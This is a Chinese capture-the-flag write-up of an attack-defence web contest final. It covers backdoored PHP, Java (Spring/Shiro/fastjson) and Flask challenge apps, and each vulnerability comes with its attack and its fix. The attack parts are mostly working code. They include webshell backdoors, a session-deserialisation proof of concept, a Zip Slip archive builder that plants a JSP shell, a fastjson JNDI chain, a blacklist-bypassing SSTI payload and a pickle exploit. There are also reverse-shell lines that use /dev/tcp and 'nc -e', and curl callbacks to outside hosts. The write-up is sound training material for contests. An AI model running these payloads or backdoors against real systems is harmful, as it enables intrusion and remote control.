2023第一届古剑山网络安全大赛决赛WP | 风尘孤狼
0%

2023第一届古剑山网络安全大赛决赛WP

2023第一届古剑山网络安全大赛决赛-AWD-WEB全解WP

WEB1

PHP站点

预留上传后门

\pages\404.php

image-20240313110811673
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at <?php $_SERVER["HTTP_HOST"] ?> Port 80 </address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>

<?php
$upload = <<<EOD
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file"  /><br>
文件名:<input type="text" name="name" value="1.php" /><br>
上传目录:<input type="text" name="dir" value="./" />
<input type="submit" name="submit" value="upload" />
</form>
EOD;
$filename = @$_POST['name'];
$dir =@$_POST['dir'];
if(@$_GET['pass'] == 123){
   echo '当前目录: '. __FILE__ .'<br>';
   echo $upload;
   if(isset($filename)){
      @move_uploaded_file($_FILES['file']['tmp_name'],$dir.'/upload/'.$filename);
      echo "upload successed !";
   }
}
?>

attack

image-20240313112544731 image-20240313112559541 image-20240313112717538

fix

最简单的就是删除上传文件接口,不过这就不是修复了,修复的方法也来一个

白名单了,只能上传图片,这就修好了

<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache Server at <?php $_SERVER["HTTP_HOST"] ?> Port 80 </address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<?php
$upload = <<<EOD
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file"  /><br>
文件名:<input type="text" name="name" value="1.php" /><br>
上传目录:<input type="text" name="dir" value="./" />
<input type="submit" name="submit" value="upload" />
</form>
EOD;
$filename = @$_POST['name'];
$dir =@$_POST['dir'];
if(@$_GET['pass'] == 123){
   echo '当前目录: '. __FILE__ .'<br>';
   echo $upload;
    $result = preg_match("/\.(png|jpg|gif)$/i", $filename);
   echo $result;
   if(isset($filename)){
        if($result==1){
            @move_uploaded_file($_FILES['file']['tmp_name'],$dir.'/upload/'.$filename);
            echo "upload successed !";
        }
    else{
        echo "只能上传图片";
    }
   }
}
?>
image-20240313114546735 image-20240313114612205

预留拼接一句话木马

\pages\user_manage\manager.php

6a1b76c70819ce622cc235b443b2a07a
$execc='assert';
$execc(${$_SERVER["HTTP_CLIENT_IP"]}[1]);

attack

Client-IP:_POST

POST传参1命令执行即可
image-20240313115355898

fix

直接把[1]改成其他的就行,别人不知道就没办法执行

$execc='assert';
$execc(${$_SERVER["HTTP_CLIENT_IP"]}[2]);
image-20240313115511430 image-20240313115533340

任意文件包含

pages\iteminfo\doinserin.php

image-20240313115643700
<?php
session_start();
require_once '../login/loginconinfo.php';
include('../functions.php');
if ($conn->connect_error) die($conn->connect_error);
if (isset($_GET['action']) && $_GET['action'] == delete) {
    $usr_id = $_GET['usr_id'];
    $iterm_id = get('iterm_id');
    $deletesql = "delete from user_in where iterm_id='$iterm_id';";
    $deleteres = $conn->query($deletesql);
    @include($usr_id);
    echo 111;
    if (!$deleteres) {
        echo "<script>
            alert('删除失败,请重试');
            window.location.href='show_in.php';
    </script>";
        die($conn->error);
    } else {
        echo "<script>
    alert('删除成功,即将返回');
    window.location.href='show_in.php';
    </script>";
    }
}

attack

/pages/iteminfo/doinserin.php?action=delete&usr_id=file://d:/flag.txt
image-20240313120121388

当然对于此次比赛本地文件包含是没有用的,远程文件包含直接访问flag机器请求flag。比赛时机器配置应该是allow_url_include=On,也就是开启了远程文件包含

image-20240313120400176

fix

删除包含即可

@include($usr_id);
image-20240313120546087

截至到这,D盾扫出来的三个均的确存在漏洞并且可以直接利用,剩下的就需要人工审计来得到,最先发现的是session反序列化漏洞

session反序列化漏洞

\pages\iteminfo\insertout.php

image-20240313120702662
class Test{
    public $token;
    public $ticket;
    public $test;
    function __destruct(){
        $this->token = rand(5345,65535);
        if($this->token === $this->ticket) {
            system($this->test);
        }
    }
}

发现了漏洞点,需要去找入口

pages\login\register.php,在这地方找到入口

<?php 
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
image-20240313120848688

attack

rand绕过用变量指针引用即可绕过,poc如下

<?php
class Test{
    public $token;
    public $ticket;
    public $test;
    function __destruct(){
        $this->token = rand(5345,65535);
        if($this->token === $this->ticket) {
            system($this->test);
        }
    }
}


$b = new Test();
$b->ticket = &$b->token;
$b->test = 'curl http://192.168.44.130/';
echo serialize($b);
image-20240313121702476

由于session选择的是php_serialize,所以在传参的时候需要加个|

/pages\login\register.php?a=O:4:"Test":3:{s:5:"token";N;s:6:"ticket";R:2;s:4:"test";s:34:"curl http://http://192.168.44.130/";}

fix

system删了即可

if($this->token === $this->ticket) {
   echo($this->test);
}

SQL注入

\pages\functions.php

这个的话我还没找到如何绕过addslashes,不过之前读过文章有说addslashes是有绕过方法的,所以当时比赛的时候也是自己又加了一层过滤防止被打

<?php

function post($string){
    $string = $_POST[$string];
    $string = addslashes(htmlspecialchars($string));
    return $string;
}

function get($string){
    $string = $_GET[$string];
    $string = addslashes(htmlspecialchars($string));
    return $string;
}

?>

attack

暂未找到

fix

<?php

function sql($str){
   return !preg_match("/  \~|\`|regex|copy|read|file|create|grand|dir|insert|link|into|from|where|join|sleexml|extractvalue|server|drop|\@|\#|\\$|\%|\^|\&|\*|\)|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\  /i",$str);
}

function post($string){
    $string = sql($_POST[$string]);
    $string = addslashes(htmlspecialchars($string));
    return $string;
}

function get($string){
    $string = sql($_GET[$string]);
    $string = addslashes(htmlspecialchars($string));
    return $string;
}

?>

WEB2

JAVA站

image-20240313150301950 image-20240313150208245

预留后门

ezupload\src\main\java\com\example\ezupload\controller\gogo.java

image-20240313134633966
package com.example.ezupload.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

@Controller
public class gogo {
    @GetMapping("/md01m")
    @ResponseBody
    public String md01m1(@RequestParam String v1da) throws IOException {
        StringBuilder result = new StringBuilder();
        try {
            Process process = Runtime.getRuntime().exec(v1da);
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                result.append(line).append("\n");
            }
        } catch (IOException e) {
            e.printStackTrace();
            result.append("Error executing the command: ").append(e.getMessage());
        }
        return result.toString();
    }


}

attack

预留后门

Process process = Runtime.getRuntime().exec(v1da);

直接命令执行

shiro未授权访问 Shiro < 1.7.0均存在,题目存在未授权访问
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-web</artifactId>
    <version>1.5.0</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.5.0</version>
</dependency>
fastjson的1.2.24版本存在反序列化漏洞
http://localhost:8080/;/md01m?v1da=curl http://192.168.44.130/
image-20240313135527539

任意地址请求

attack

index.java

image-20240313135726874
@RequestMapping("/run")
   @ResponseBody
   public String HttpUrlConnect(@RequestParam String url) throws IOException {
       StringBuilder result = new StringBuilder();
       URL url1 = new URL(url);
       HttpURLConnection urlConnection = (HttpURLConnection) url1.openConnection();
       int responseCode = urlConnection.getResponseCode();
       if(responseCode == HttpURLConnection.HTTP_OK){
           BufferedReader inputStreamReader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
           String var1;
           while((var1 = inputStreamReader.readLine()) != null){
               result.append(var1);
           }
       }
       return result.toString();
   }
http://localhost:8080/run?url=http://192.168.44.130/
image-20240313135846653

fastjson反序列化漏洞

适用于1.2.24-1.2.68

此题目版本为1.2.47

image-20240313140331034

attack

漏洞点如下

49a427d0f27ee1bc8fdaf9480f26f668

过滤了常用的俩个链子JdbcRowSetImpl和TemplatesImpl,还可以利用JndiRefForwardingDataSource,垃圾字符填充绕过字符限制

反弹shell的类

import java.lang.Runtime;
import java.lang.Process;

public class re {
    static{
        try{
            String str = "0<&196;exec 196<>/dev/tcp/47.101.170.17/5553; sh <&196 >&196 2>&196";
            String[] strs = new String[]{"/bin/bash","-c",str};
            Process e = Runtime.getRuntime().exec(strs);
            e.waitFor();
        }catch (Exception e){
            //
        }
    }
}
javac re.java
image-20240416215753031
java -cp -jar marshalsec-0.0.3-SNAPSHOT-all.jar 

java -cp -jar marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/889#re 5553

任意文件上传

@PostMapping("/upload")
@ResponseBody
public String uploadFile(@RequestParam("file") MultipartFile file) {
    if (!file.isEmpty()) {
        try {
            String uploadDir = "/tmp";
            File destDir = new File(uploadDir);
            if (!destDir.exists()) {
                destDir.mkdirs();
            }
            String originalFileName = file.getOriginalFilename();
            String fileExtension = StringUtils.getFilenameExtension(originalFileName);

            if (fileExtension != null && (fileExtension.equalsIgnoreCase("zip") || isImageExtension(fileExtension))) {
                String newFileName = generateRandomFileName();
                File destFile = new File(destDir, newFileName);
                file.transferTo(destFile);
                //46eacf8115624375be2a7e88c76cab8c

                return newFileName;
            } else {
                return "不允许的文件后缀~";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    return "上传失败~";
}

@GetMapping("/unzip")
@ResponseBody
public String unzipFile(@RequestParam String uuid) {
    String zipFilePath = "/tmp/" + uuid;
    String unzipDir = "/tmp/";
    System.out.println(unzipDir);
    try {
        Unzip.decompressionFile(zipFilePath, unzipDir);
        return "解压缩成功!";
    } catch (IOException e) {
        e.printStackTrace();
        return "解压缩失败~";
    }
}

attack

upload压缩包【压缩包内容为jsp马】->unzip解压

上传和解压路径在/tmp,上传压缩包本身这个肯定是没办法突破的,想到的点就是在解压的时候进行目录穿越解压,这里利用的就是Zip Slip漏洞

在java中常见有上传压缩包解压等功能点,Zip Slip是一种在压缩包中特制(…/…/…/evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等,后端通常使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字…/跳转到上级目录中,从而导致任意目录的文件替换

开始制作压缩包

import zipfile

if __name__ == "__main__":
    try:
        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("poc.zip")
        zipFile.write("1.jsp", "../../../usr/local/tomcat/webapps/ROOT/1.jsp", zipfile.ZIP_DEFLATED)
        zipFile.close()
    except IOError as e:
        raise e

直接上传and正常解压

上传后返回c496d4ac05b547be8241274dc8d1b6a0
进行解压
http://127.0.0.1:8080/unzip?uuid=c496d4ac05b547be8241274dc8d1b6a0
image-20240313230120531

成功跨目录上传,上传马即可shell

image-20240313230200560

账密泄露

package com.example.ezupload.controller;

import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.AuthenticationInfo;
import org.apache.shiro.authc.AuthenticationToken;
import org.apache.shiro.authc.SimpleAuthenticationInfo;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;

public class MyRealm extends AuthorizingRealm {
    protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {
        return null;
    }

    protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {
        String username = (String)token.getPrincipal();
        if (!"ji1nnmx".equals(username))
            throw new UnknownAccountException("账号不存在");
        return (AuthenticationInfo)new SimpleAuthenticationInfo(username, "123456", getName());
    }
}

attack

可以看出账密为ji1nnmx/123456,但是实际没有admin的功能点

WEB3

python站

import sys,os,re
import base64
import pickle
import hashlib
from cachelib import SimpleCache
from flask import Flask, Blueprint, request, Response, escape ,render_template,render_template_string,session, abort, redirect, url_for, g, flash, render_template, current_app
from flask_login import login_required,LoginManager,login_user,logout_user,UserMixin
from urllib.parse import urlsplit, urlunsplit, unquote
#from werkzeug.contrib.cache import SimpleCache
from urllib import parse
import requests
import urllib
import sqlite3

app = Flask(__name__)

app.config['SECRET_KEY'] = hashlib.md5(os.urandom(24)).hexdigest()
cache = SimpleCache()
login_manager = LoginManager()
login_manager.session_protection = 'strong'
login_manager.login_view = "login"
login_manager.init_app(app)


class User(UserMixin):
    def is_authenticated(self):
        return True
    def is_active(self):
        return True
    def is_anonymous(self):
        return False
    def get_id(self):
        return '1'

@login_manager.user_loader
def load_user(user_id):
    user = User()
    return user


@app.route("/")
def index():
    if session.__contains__('user'):
        success = 0
        return render_template(
            "index.html", user=session['user'],success=success)
    else:
        return redirect(url_for('login'))


@app.route('/user/login/', methods=['POST', 'GET'])
def login():
    if request.method == "GET":
        return render_template("login.html")
    else:
        try:
            username = request.form['username']
            passwd = request.form['passwd']
        except:
            flash("username and password is required!")
            return render_template("login.html", danger=1)
        if not check_exist(username):
            flash("User Not Register")
            return render_template("login.html", danger=1)
        elif check_passwd(username, hashlib.md5(passwd.encode('utf-8')).hexdigest()):
            session.clear()
            user = get_user(username)
            u = User()
            login_user(u)
            session['user'] = user
            return redirect(url_for('index'))
        else:
            flash("Password Error")
            return render_template("login.html", danger=1)


@app.route('/user/logout/', methods=['GET'])
def logout():
    session.clear()
    logout_user()
    flash("Logout Success!")
    return redirect(url_for("index"))


@app.route('/user/register/', methods=['POST', 'GET'])
def register():
    if request.method == "GET":
        return render_template("register.html")
    username = request.form['username']
    mail = request.form['mail']
    passwd = request.form['passwd']
    passwd = hashlib.md5(passwd.encode('utf-8')).hexdigest()
    if not re.match(
            r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
            mail):
        flash("Mail Format Error!")
        return render_template("register.html", danger=1)
    if check_exist(username) or check_mail(mail):
        flash("User or Mail Already Registered")
        return render_template("register.html", danger=1)
    else:
        insert_user(username, passwd, mail)
    flash("Register Successful")
    return render_template("register.html", success=1)


@app.route('/mail/', methods=['GET'])
def mail():
    mail = request.args.get('mail', '')
    if not re.match(
                r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
                mail):
        flash("Mail Format Error")
        return render_template('mail.html',danger=1)
    code = cache.get(mail)
    session['code'] = code
    return render_template('mail.html', code=code)

@app.route('/mail/update/', methods=['GET', 'POST'])
@login_required
def change_mail():
    try:
        if session['user'][1] != 'admin':
            return "Only admin can change mail"
    except:
        return redirect(url_for('login'))
    if request.method == 'GET':
        return render_template("change_mail.html",user=session['user'])
    else:
        name = session['user'][1]
        mail = request.form['mail']
        if not re.match(
                r'^[0-9a-zA-Z_]{0,19}@[0-9a-zA-Z]{1,13}\.[com,cn,net]{1,3}$',
                mail):
            template = "Hello {name},Error Format Mail:" + mail
        else:
            update_mail(name, mail)
            session['user'] = get_user(name)
            template = "Hello {name},Update Success"
        return template.format(name=name)


@login_required
@app.route('/getfile', methods=["POST"])
def getfile():
    try:
        url = base64.urlsafe_b64decode(request.form.get('url'))
        return urllib.request.urlopen(str(url)[2:-1],timeout=2).read()
    except:
        return "Error"

@app.route('/user/reset/', methods=['POST', 'GET'])
def reset():
    if request.method == "GET":
        return render_template("reset.html")
    try:
        username = request.form['username']
    except:
        flash("username required")
        return render_template("reset.html", danger=1)
    if not check_exist(username):
        flash("User Not Register")
        return render_template("reset.html", danger=1)
    else:
        mail = get_mail(username)
        code = hashlib.md5(os.urandom(16)).hexdigest()
        cache.set(mail, code, timeout=60)
        flash("Check Code in Your Mail! Code is valid in 60s.")
        return render_template(
            "reset.html", success=1, code=1, username=username)


@app.route("/user/update/", methods=['POST'])
def update():
    username = request.form['username']
    passwd = request.form['passwd']
    code = request.form['code']
    if username == 'admin':
        flash("Wrong Code!")
        return render_template("reset.html", danger=1)
    if session['code'] == code and username !='admin':
        flash("Update Success!")
        update_passwd(username, hashlib.md5(passwd.encode('utf-8')).hexdigest())
        return render_template("login.html", success=1)
    else:
        flash("Wrong Code!")
        return render_template("reset.html", danger=1)


@app.route('/test', methods=['GET'])
@login_required
def test():
    data = ''
    if session.__contains__('user'):
        if session['user'][1] == 'admin':
            data = read_file() 
    return data


def read_file():
    filename = base64.b64decode('L2ZsYWc=')
    f = open(filename, 'r')
    return f.read()

def check_exist(username):
    cur = get_db().cursor()
    user = query_db(
        'select * from users where username = ?', [username], one=True)
    if user != None:
        return True
    else:
        return False


def check_mail(mail):
    cur = get_db().cursor()
    user = query_db('select * from users where mail = ?', [mail], one=True)
    if user != None:
        return True
    else:
        return False


def check_passwd(username, passwd):
    cur = get_db().cursor()
    user = query_db(
        'select * from users where username = ? and passwd=?',
        [username, passwd],
        one=True)
    if user != None:
        return True
    else:
        return False

@app.route("/comments", methods=["POST"])
@login_required
def comments():
    data = request.get_data()
    pickledata = base64.b64decode(request.data)
    # return str(pickledata)
    postObj = pickle.loads(pickledata)
    return "comments"

def insert_user(username, passwd, mail):
    cur = get_db().cursor()
    insert_db("insert into users(username,passwd,mail) values(?,?,?)",
              [username, passwd, mail])

def update_passwd(username, passwd):
    cur = get_db().cursor()
    insert_db("update users set passwd=? where username=?", [passwd, username])

def update_mail(username, mail):
    cur = get_db().cursor()
    insert_db("update users set mail=? where username=?", [mail, username])


def get_mail(username):
    cur = get_db().cursor()
    mail = query_db(
        'select mail from users where username = ?', [username], one=True)
    return mail[0]


def get_user(username):
    cur = get_db().cursor()
    user = query_db(
        'select id,username,mail from users where username = ?', [username],
        one=True)
    return user



@app.errorhandler(404)
def page_not_found(e):
    template = '''
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
''' % (urllib.parse.unquote(request.url))
    if safe_jinja(request.url):
        return render_template_string(template), 404
    else:
        return render_template("404.html"), 404


def safe_jinja(s):
    blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
    # blacklist=['get_flashed_messages']
    
    flag = True
    for i in blacklist:
        if i.lower() in s.lower():
            return False
    return flag

DATABASE = './database.db'


def init_db():
    with app.app_context():
        db = get_db()
        with app.open_resource('schema.sql', mode='r') as f:
            db.cursor().executescript(f.read())
        db.commit()


def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    return db


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()


def query_db(query, args=(), one=False):
    cur = get_db().execute(query, args)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv


def insert_db(query, args=()):
    cur = get_db().execute(query, args)
    get_db().commit()


if __name__ == "__main__":
    init_db()
    app.run(host="0.0.0.0", debug=False, port=5000)

管理员密码泄露+读取本地flag

database.db

image-20240313122416348
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
  id integer primary key autoincrement,
  username string not null,
  passwd string not null,
  mail string 
M!admin e861c366e273d5f5704ee304a58a4887 111@qq.com
        users

admin/861c366e273d5f5704ee304a58a4887

attack

管理员弱口令密码,md5能直接解出来,不过比赛没网,除非之前积累了爆破能爆出来,这个看缘分

密码是qwer123df【e861c366e273d5f5704ee304a58a4887】

image-20240311144201942

同时审计还会发现有个漏洞对于这题来说是没用的,有个读取/flag的路由功能

image-20240311144552028
@app.route('/test', methods=['GET'])
@login_required
def test():
    data = ''
    if session.__contains__('user'):
        if session['user'][1] == 'admin':
            data = read_file() 
    return data


def read_file():
    filename = base64.b64decode('L2ZsYWc=')
    f = open(filename, 'r')
    return f.read()
image-20240311145807065

fix

死题,不用管

SSTI

attack

漏洞点在这

image-20240311141447314
@app.errorhandler(404)
def page_not_found(e):
    template = '''
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
''' % (urllib.parse.unquote(request.url))
    if safe_jinja(request.url):
        return render_template_string(template), 404
    else:
        return render_template("404.html"), 404

404之后渲染变量进行模板注入

image-20240311141556540

通过看源码发现存在黑名单,过滤了部分函数

def safe_jinja(s):
    blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
    # blacklist=['get_flashed_messages']
    
    flag = True
    for i in blacklist:
        if i.lower() in s.lower():
            return False
    return flag

数组绕过->命令执行

http://192.168.222.100:5000/{%set fu='so'[::-1]%}{{lipsum.__globals__['__b''uiltins__']['__i''mport__'](fu)['po''pen']('curl http://192.168.44.130/').read()}}
image-20240311141721778

fix

加过滤即可修复该漏洞,再过滤个:就行

def safe_jinja(s):
    blacklist=[':',import','os','class','subclasses','mro','request','args','eval','if','for','subprocess','file','open','popen','builtins','compile','execfile','getattr','from_pyfile','tornado','app','als(','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__','exec','get_flashed_messages']
    # blacklist=['get_flashed_messages']
    
    flag = True
    for i in blacklist:
        if i.lower() in s.lower():
            return False
    return flag

SSTI自动化工具

可以解决市面上大部分的SSTI题目的绕过,非常好用,极力推荐

fenjing-ssti工具,常用用法如下

- crack: 对某个特定的表单进行攻击
  - 需要指定表单的url, action(GET或POST)以及所有字段(比如'name')
  - 攻击成功后也会提供一个模拟终端或执行给定的命令
  - 示例:`python -m fenjing crack --url 'http://xxx/' --method GET --inputs name`
- crack-path: 对某个特定的路径进行攻击
  - 攻击某个路径(如`http://xxx.xxx/hello/<payload>`)存在的漏洞
  - 参数大致上和crack相同,但是只需要提供对应的路径
  - 示例:`python -m fenjing crack-path --url 'http://xxx/hello/'`

任意地址访问

attack

漏洞点在这

image-20240311163833504
@login_required
@app.route('/getfile', methods=["POST"])
def getfile():
    try:
        url = base64.urlsafe_b64decode(request.form.get('url'))
        return urllib.request.urlopen(str(url)[2:-1],timeout=2).read()
    except:
        return "Error"

任意地址访问

image-20240311164014970

fix

这个的话写个过滤不能访问flag的地址就行

pickle反序列化

image-20240311165304128
@app.route("/comments", methods=["POST"])
@login_required
def comments():
    data = request.get_data()
    pickledata = base64.b64decode(request.data)
    # return str(pickledata)
    postObj = pickle.loads(pickledata)
    return "comments"

attack

毫无过滤,直接反弹shell即可

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return os.popen, ("nc 127.0.0.1 889 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))
image-20240311165424731

fix

删除pickle

制作不易,如若感觉写的不错,欢迎打赏